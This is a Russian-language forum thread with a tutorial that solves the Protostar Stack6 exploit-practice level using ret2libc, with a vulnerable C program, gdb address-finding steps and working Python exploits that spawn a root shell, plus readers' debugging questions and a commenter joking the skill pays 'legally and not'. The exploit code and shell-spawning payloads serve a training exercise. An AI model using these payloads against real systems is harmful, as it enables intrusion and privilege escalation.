HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Электроника и Фрикинг
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 26.04.2019, 10:49
fuzzz
Новичок
Регистрация: 03.02.2019
Сообщений: 0
С нами: 3829524

Репутация: 0
По умолчанию

Все части переполнение буфера
Предыдущая часть Переполнение буфера и размещение шеллкода в памяти - разработка эксплойтов, часть 6

Привет античат =) Прошло много времени с тех пор, как я последний раз писал статью, и я думаю, что пришло время для новой. В предыдущей статье мы познакомились с шеллкодом, и написали с вами первый эксплойт и даже не один, а два, размещали шеллкод в буфере и размещали шеллкод за адресом возврата(RET) при этом используя прием NOP-Sled. А так же узнавали реальные адреса в памяти, анализируя дамп памяти, так, как, под отладчиком адреса не много смещаются.В этой статье мы познакомимся с новым подходом выполнения кода.

Описание ExploitMe

Stack6 смотрит на то, что происходит, когда у вас есть ограничения на обратный адрес.

Этот уровень может быть выполнен несколькими способами, такими как поиск дубликата полезной нагрузки (objdump -s поможет с этим), или ret2libc, или даже обратно ориентированным программированием, ориентированное на возврат (ROP).

Настоятельно рекомендуется поэкспериментировать с несколькими способами заставить ваш код выполняться здесь.

Stack6, VM
Исходный код

C:


Код:
#include 
#include 
#include 
#include 
void
getpath
(
)
{
char
buffer
[
64
]
;
unsigned
int
ret
;
printf
(
"input path please: "
)
;
fflush
(
stdout
)
;
gets
(
buffer
)
;
ret
=
__builtin_return_address
(
0
)
;
if
(
(
ret
&
0xbf000000
)
==
0xbf000000
)
{
printf
(
"bzzzt (%p)\n"
,
ret
)
;
_exit
(
1
)
;
}
printf
(
"got path %s\n"
,
buffer
)
;
}
int
main
(
int
argc
,
char
*
*
argv
)
{
getpath
(
)
;
}
Решение
Приступим - рассмотрим исходный код программы. Главная функция main() вызывает подпрограмму, функцию getpath(), эта функция имеет буфер на 64 байта и уязвимую функцию gets(), которая и будет использовать этот буфер, так же у нас есть без знаковая целочисленная переменная обозначенная как ret, в неё будет записан адрес возврата текущей функции, переданный из функции __builtin_return_address(0).

Условие в коде (ret & 0xbf000000) == 0xbf000000) говорит нам, что если адрес возврата указывает на стек, программа завершается с кодом (EXIT_FAILURE) т.е. с кодом 1.

Запустим отладчик чтобы убедится в этом, а именно посмотрим на регистр ESP и EBP.

Код:


Код:
gdb -q ./stack6
break main
run
info registers


Как нам видно "0xbf .. .. .." это стековые адреса

Код:


Код:
esp            0xbffffd20       0xbffffd20
ebp            0xbffffd28       0xbffffd28
Теперь проверим это условие используемся питоном, выходим из отладчика -
Код:
quit
.

Запускаем
Код:
python
и вводим следующий код

Python:


Код:
hex
(
0xffffffff
&
0xbf000000
)
hex
(
0xff123456
&
0xbf000000
)
hex
(
0xff12abcd
&
0xbf000000
)
hex
(
0xbf12abcd
&
0xbf000000
)
hex
(
0xbfffffff
&
0xbf000000
)


Закрываем интерпретатор питона
Код:
Ctrl+D
. Видно, что использование адресов с 0xff - 0xbf приведет выходу из программы со статусом (EXIT_FAILURE).Вот почему нам сказали использовать Ret2Libc или ROP в условии задания.

С этого момента в решение этой и последующих задач, мы будет не только приобретать новые знания и опыт, но и осваивать техники эксплуатации. Что же это такое??? Это методы как заюзать уязвимость. Как использовать, эксплуатировать уязвимость. По аналогии приведу пример, чтобы было более менее понятно. Существует допустим уязвимость внедрения SQL-кода на каком-нибудь сайте. Так вот, бывает, что эту уязвимость эксплуатировать легко, а бывает, что не всегда с первого раза SQL-Injection можно раскрутить. И тут нам на помощь приходят всякие кодировки, которые помогают достичь цели. Или же если SQL-Injection не совсем обычная, а Blind типа. И тогда мы уже используем другие методы отходя от привычных или же комбинируем их.

Эти методы и есть техники эксплуатации уязвимостей. Возможно пример не самый удачный, но всё же он отражает хоть какую-то суть...

Ret2Libc

Следующая ступень в эксплуатации бинарных уязвимостей это техника ret2libc.

Ret2Libc- это техника эксплуатации когда адрес возврата (RET) функции в стеке подменяется адресом иной функции в программе, и в последующую часть стека записываются параметры для вызываемой функции. Эта техника позволяет нападающему выполнить какую-либо существующую функцию без необходимости внедрения шеллкода в программу. Простыми словами Ret2Libc - это возврат в libc или возврат в библиотеку языка Cи.

libc— это стандартная библиотека языка Cи. Она содержит все общие системные функции, включённые в язык программирования C.

В одной статье мне понравилось сравнение ret2libc с аналогией из фильма Матрица. Точней говоря одним из моментов этого фильма.

Вот этот момент

Сцена фильма "Оружие, много оружия", идеально демонстрирует суть Ret2Libc. Оператор смог полностью обойти и перепрограммировать матрицу, чтобы МОРЕ оружия просто появилось из ниоткуда. Всё это оружие это функции в libc.

Это и есть ret2libc. Когда мы сделаем переход в эту библиотеку (LibC) у нас появится возможность вызывать все функции которая содержит эта библиотека.

Техника ret2libc основана на переполнении буфера. Поэтому нам надо будет перезаписывать данные в стеке, и перезаписать указатель возврата, чтобы указать на конкретную функцию в libc, и передать ей любые аргументы, необходимые для доставки нашей боевой нагрузки.

Одной из самых распространённых функций при атаках используя технику Ret2libc является функция system(). Давайте посмотрим на документацию

Код:


Код:
man system


Код:
Ctrl+Z
- выходим.

Как мы видим, функция system() просто выполняет shell-команды. Более того, если мы прочитаем описание, то увидим, что система просто выполняет '/bin/sh -c ', и команда передаётся в функцию через аргумент.

Итак, всё, что нам нужно сделать, чтобы получить доступ из командной строки к компьютеру, на котором запущено уязвимое приложение — это вставить'/bin/sh' в стек в качестве аргумента, а затем заменить указатель возврата или вызов адресом памяти функции system(), так чтобы эта функция вызывалась с '/bin/sh' в качестве аргумента, запускала оболочку и предоставляла нам полный доступ через систему.

Но для того, чтобы овладеть техникой ret2libc, нужно овладеть техникой "перезаписью сохраненного значения в регистре EIP".

Которая применяется при написании классических эксплойтов. Т.е. для простых эксплойтов, где не нужно обходить всякие защиты подобные SEH\DEP, ну или частично... А мы её уже изучили, поэтому нам не составит труда освоить и эту технику эксплуатации.

Мы помним что для реализации этой техники эксплуатации "Overwriting saved EIP" надо...
  1. Переполнить буфер
  2. Получить ошибку Segmentation fault 0x41424344
  3. Вычислить смещение offset
  4. положить адрес в регистр EIP
Вся область которая перезаписывает регистр EIP
смещение + 4 байта (EIP) адрес шеллкода

Как то так...

Так же мы знаем еще одну технику NOP-sled. Где мы использовали кучу нопов для выполнения нашего шеллкода который был размещен за адресом возврата (RET).

И мы комбинировали их "Overwriting saved EIP" + "NOP-sled".

А для реализации техники Ret2Libc нам надо.
"Overwriting saved EIP" + "ret2libc"
  1. Получить всю область которая перезаписывает регистр EIP (Overwriting saved EIP)
  2. Получить адрес функции system()
  3. Получить адрес функции exit()
  4. Получить адрес оболочки '/bin/bash'
Далее сконвертировать полученные адреса и данные в эксплойт.

eipOffset + systemAddr + exitAddr + shellAddr

и выполнить его.

И так создадим файл eipOffset.txt

Код:


Код:
nano ~/eipOffset.txt
положим туда строку

Код:


Код:
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Код:
F2,y,enter
. (Ну или воспользуемся сайтом, хоть так, хоть так, разницы нет, буфер у нас на 64 байта. Если бы он был большего размера, тогда уж лучше воспользоваться сайтом или утилитами из метасплойта)

Запускаем отладчик

Код:


Код:
gdb -q ./stack6
Делаем перенаправление из файла в программу

Код:


Код:
run } 0xb7ecffb0 
$2 = {} 0xb7ec60c0
Вторая часть кода эксплойта с первой

Python:


Код:
from
struct
import
pack
eipOffset
=
"A"
*
80
systemAddr
=
pack
(
"I"
,
0xb7ecffb0
)
exitAddr
=
pack
(
"I"
,
0xb7ec60c0
)
shellAddr
=
Адрес
'/bin/bash'
(
4
байта
)
Двигаемся дальше...

Теперь нам надо выполнить пункт 4.

4. Получить адрес оболочки '/bin/bash'

Для того чтобы узнать адрес воспользуемся командой "info proc map" для того, чтобыотобразим адресное пространство и тем, самым посмотрим где libc загружен в память.

Код:


Код:
gdb -q ./stack6
break main
run
info proc map


Отлично адрес мы вычислили, libc загружен по адресу 0xb7e97000. Теперь попробуем найти в памяти строку "/bin/sh". Для того чтобы это сделать воспользуемся командой find, которая помогает осуществлять поиск в памяти.

Синтаксис команды такой
find адрес, +размер, значение
find начальный_адрес, конечный адрес, значение

Код:


Код:
find 0xb7e97000, +9999999, "/bin/sh"
x/s 0xb7fba23f


Отладчик выдал нам паттерн (шаблон) по адресу 0xb7fba23f, но когда мы попытались заглянуть в память по этому адресу и результат вывода отобразить память как строчку, то мы не нашли там "/bin/sh". Можно продолжить дальше искать в памяти, что очень затруднительно... Поэтому поступим следующим образом, будем использовать команду strings в Linux. Выходим из отладчика.

Код:


Код:
quit
Запустим команду с такими параметрами -a -t x, а так же укажем полный путь до библиотеки + подключим утилиту grep для поиска нужной нам строки.

ключ -a указывает на то, что нужно просмотреть весь файл.
ключи -t x указывают на то, что надо отобразить смещение в шестнадцатеричном формате.

Код:


Код:
strings -a -t x /lib/libc-2.11.2.so | grep /bin/sh


Результат не заставляет себя ждать, мы нашли строку "/bin/sh" в Libc по смещению 0x11f3bf
А сама библиотека Libc загружены по адресу 0xb7e97000

Сложим эти два адреса, что мы имеем. Воспользуемся питоном

Запускаем
Код:
python
Python:


Код:
shellAddr
=
0xb7e97000
+
0x11f3bf
hex
(
shellAddr
)
Код:
Ctrl+D
выходим из интерпретатора питона.



Наша строка "/bin/sh" находится в памяти по адресу 0xb7fb63bf. Для большей убедительности проверим в отладчике.

Загружаем программу в отладчик, ставим точку останова, и запускаем программу по отладчиком и смотрим наш адрес.

Код:


Код:
gdb -q ./stack6
break main
run
x/s 0xb7fb63bf
quit


Отлично мы получили действительный адрес "/bin/sh".

Теперь напишем с вами полный эксплойт, так, как не достающий адрес мы вычислили.

Открываем редактор и пишем туда

Код:


Код:
nano ~/exploit.py
следующий питон код

Python:


Код:
from
struct
import
pack
eipOffset
=
"A"
*
80
systemAddr
=
pack
(
"I"
,
0xb7ecffb0
)
exitAddr
=
pack
(
"I"
,
0xb7ec60c0
)
shellAddr
=
pack
(
"I"
,
0xb7fb63bf
)
print
eipOffset
+
systemAddr
+
exitAddr
+
shellAddr
Выходим из редактора и сохраняем наш файл с данными.

Код:


Код:
f2,y,enter.
Настало время для теста



Код:


Код:
id
whoami
(python ~/exploit.py ; cat) | ./stack6
id
whoami
Ctrl+C
Как видите мы успешно получили оболочку с правами root пользователя. На этом всё, теперь можно переходить на следующий уровень stack7. Кстати говоря техника Ret2Libc и ROP помогает обойти такую защиту, как Data Execution Prevention (DEP), т.е. когда включен NX (XD) бит, эта защита которая запрещает выполнять код в стеке. В Intel = NX bit. В AMD = XD bit. Если говорить чуть более подробно, то DEP работает следующим образом. Память которая не должна исполняться (например, стек), помечается специальным битом NX (XD). Если ты попробуешь запустить код из памяти с установленным битом NX, то вызывается исключение. Это не позволяет использовать эксплоиты, которые просто передают управление на шелл-код. Для обхода DEP/NX (XD) и существуют такие техники, как Return-Oriented Programming и Ret2LibC. Мы даже с вами еще не затронули защиту, а уже познакомились с Ret2LibC. В следующей статье мы коснемся такой темы, как ROP.
 
Ответить с цитированием

  #2  
Старый 08.05.2019, 17:45
Lk1
Новичок
Регистрация: 07.05.2019
Сообщений: 0
С нами: 3695080

Репутация: 0
По умолчанию

Отличный цикл статей)
из статьи не совсем понятно:
1) через пепеполнение буфера перезаписываем адрес возврата в стеке на адрес функции system (), но каким образом на вход функции попадает адрес строки /bin/sh, который мы просто положили в стек? По идеи после перезаписи eip будет выполнен system () без аргумента. Аргумент то остался в стеке по адресу &ret+4байта (exitAddr)
2) зачем мы включаем в эксплоит адрес функции exit?
Буду благодарен за разъяснения)
 
Ответить с цитированием

  #3  
Старый 09.05.2019, 01:49
Lk1
Новичок
Регистрация: 07.05.2019
Сообщений: 0
С нами: 3695080

Репутация: 0
По умолчанию

спасибо, но 1ый пункт все равно понять не могу - в стек ложится адрес exit потом сразу адрес шелла. Из твоего обьяснения выходит аргументом для system() будет сразу и то и то, что вообще не должно выполниться.
Проверил - код рабочий. Видимо я что то концептуального не понимаю.
Может кто нибудь на пальцах обьяснить почему в качестве аргумента для функции system берется строка, адрес который лежит в стеке после ret, а потом вызывается еще раз эта же функция, но берется следующий аргумент?
 
Ответить с цитированием

  #4  
Старый 11.05.2019, 17:25
Ondrik8
Новичок
Регистрация: 08.11.2016
Сообщений: 0
С нами: 5005666

Репутация: 0
По умолчанию

очень хороший цикл статей) если это все освоить, можно не плохо заработать! легально и нет)))

Цитата:

Lk1 сказал(а):

спасибо, но 1ый пункт все равно понять не могу - в стек ложится адрес exit потом сразу адрес шелла. Из твоего обьяснения выходит аргументом для system() будет сразу и то и то, что вообще не должно выполниться.
Проверил - код рабочий. Видимо я что то концептуального не понимаю.
Может кто нибудь на пальцах обьяснить почему в качестве аргумента для функции system берется строка, адрес который лежит в стеке после ret, а потом вызывается еще раз эта же функция, но берется следующий аргумент?

возможно это тебе поможет )) или это (на живом примере)
 
Ответить с цитированием

  #5  
Старый 15.05.2019, 14:08
fuzzz
Новичок
Регистрация: 03.02.2019
Сообщений: 0
С нами: 3829524

Репутация: 0
По умолчанию

Цитата:

Lk1 сказал(а):

2) зачем мы включаем в эксплоит адрес функции exit?
Буду благодарен за разъяснения)

Если в место адреса положить к примеру

Код:
exitAddr = pack("I", 0xb7ec60c0)
4 байта мусора.

Код:
exitAddr = "AAAA"
Код тоже будет работать и мы тоже получим оболочку.
Но когда мы закроем оболочку
Код:
Ctrl+D
полученную через эксплойт, код поведет себя не стабильно и мы получим ошибку сегментации, программа попытается обратится к этому участку памяти.

Поэтому для стабильности работы эксплойта добавляется адрес exit() функции.



Про аргументы отпишу чуть позже...
 
Ответить с цитированием

  #6  
Старый 22.11.2019, 16:52
term1nal
Новичок
Регистрация: 21.11.2019
Сообщений: 0
С нами: 3410014

Репутация: 0
По умолчанию

Добрый день. А с чем связано такое поведение GDB, что он показыает KIND in __gen_tempname? При том если ужать адреса поиска, то все нормально:

(gdb) find 0xb7fb6300, +9999999, "/bin/sh"
0xb7fb63bf
warning: Unable to access target memory at 0xb7fd9647, halting search.
1 pattern found.
(gdb) x/s 0xb7fb63bf
0xb7fb63bf: "/bin/sh"
(gdb)
 
Ответить с цитированием

  #7  
Старый 28.11.2019, 20:11
fuzzz
Новичок
Регистрация: 03.02.2019
Сообщений: 0
С нами: 3829524

Репутация: 0
По умолчанию

Цитата:

term1nal сказал(а):

Добрый день. А с чем связано такое поведение GDB, что он показыает KIND in __gen_tempname? При том если ужать адреса поиска, то все нормально:

(gdb) find 0xb7fb6300, +9999999, "/bin/sh"
0xb7fb63bf
warning: Unable to access target memory at 0xb7fd9647, halting search.
1 pattern found.
(gdb) x/s 0xb7fb63bf
0xb7fb63bf: "/bin/sh"
(gdb)

Когда программа загружает под отладчиком адреса смещаются. Поэтому один и тот же адрес может показывать разные вещи. Скорее всего так.. А может быть я ошибаюсь. Но тут смещение точно играет роль.
 
Ответить с цитированием

  #8  
Старый 12.12.2019, 19:41
Rizor
Новичок
Регистрация: 11.12.2019
Сообщений: 0
С нами: 3381044

Репутация: 0
По умолчанию

@fuzzz здравствуйте! У меня возникла проблема-не работает эксплоит хоть адреса и верные

Код:


Код:
root@reffy:/home/centurion# (python exploit.py ; cat) | ./vuln2
close failed in file object destructor:
sys.excepthook is missing
lost sys.stderr
whoami
Segmentation fault
вот код-

#include 

void functionFunction(char *param, int p2, float p3)
{
    char local[64];

    strcpy(local, param);
}

int main(int argc, char** argv)
{
    functionFunction(argv[1], 42, 3.14);
}
вот эксплоит-
from struct import pack
eip = "A"*80
system = pack("I", 0xb7e44b40)
exit = pack("I", 0xb7e387f0)
shell = pack("I", 0xb7f678c8)
print eip + system + exit + shell
P.S. заранее спасибо!
 
Ответить с цитированием

  #9  
Старый 12.12.2019, 21:45
fuzzz
Новичок
Регистрация: 03.02.2019
Сообщений: 0
С нами: 3829524

Репутация: 0
По умолчанию

Цитата:

Rizor сказал(а):

@fuzzz здравствуйте! У меня возникла проблема-не работает эксплоит хоть адреса и верные

root@reffy:/home/centurion# (python exploit.py ; cat) | ./vuln2
close failed in file object destructor:
sys.excepthook is missing
lost sys.stderr
whoami
Segmentation fault
вот код-

#include

void functionFunction(char *param, int p2, float p3)
{
char local[64];

strcpy(local, param);
}

int main(int argc, char** argv)
{
functionFunction(argv[1], 42, 3.14);
}
вот эксплоит-
from struct import pack
eip = "A"*80
system = pack("I", 0xb7e44b40)
exit = pack("I", 0xb7e387f0)
shell = pack("I", 0xb7f678c8)
print eip + system + exit + shell
P.S. заранее спасибо!

Ты бы хоть код в теги кидал, а то не очень выглядит. У тебя тут косяк в запуске эксплойта, в том что уязвимая программа работает через argv[1], тебе надо эксп не так запускать. А передавать его через аргумент.

Т.е.

Код:


Код:
./программа
Примерно так... Попробуй, должно работать...

Код:


Код:
./vuln `python -c "from struct import pack; eip='A'*80; system=pack('I', 0xb7e44b40); exit=pack('I', 0xb7e387f0); shell=pack('I', 0xb7f678c8); print eip + system + exit +shell"; cat`
 
Ответить с цитированием

  #10  
Старый 16.05.2023, 09:05
Станислав Кац
Новичок
Регистрация: 15.05.2023
Сообщений: 0
С нами: 1580240

Репутация: 0
По умолчанию

При выполнении system() создаётся новый стековый фрейм. Когда он создаётся, вместо, то там, где раньше был адрес eip появляется ebp. Далее эта функция должна взять где-то аргумент - ebp+8. Так получается, что этот адрес падает туда, куда и была положена строка "/bin/sh".
В свою очередь exit() оказывается на месте ret.
В итоге функция выполняется успешно и завершается без ошибок.
Я так понял. Если где-то не прав, то прошу исправить)
Ссылка с объяснением: https://shellblade.net/files/docs/ret2libc.pdf
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.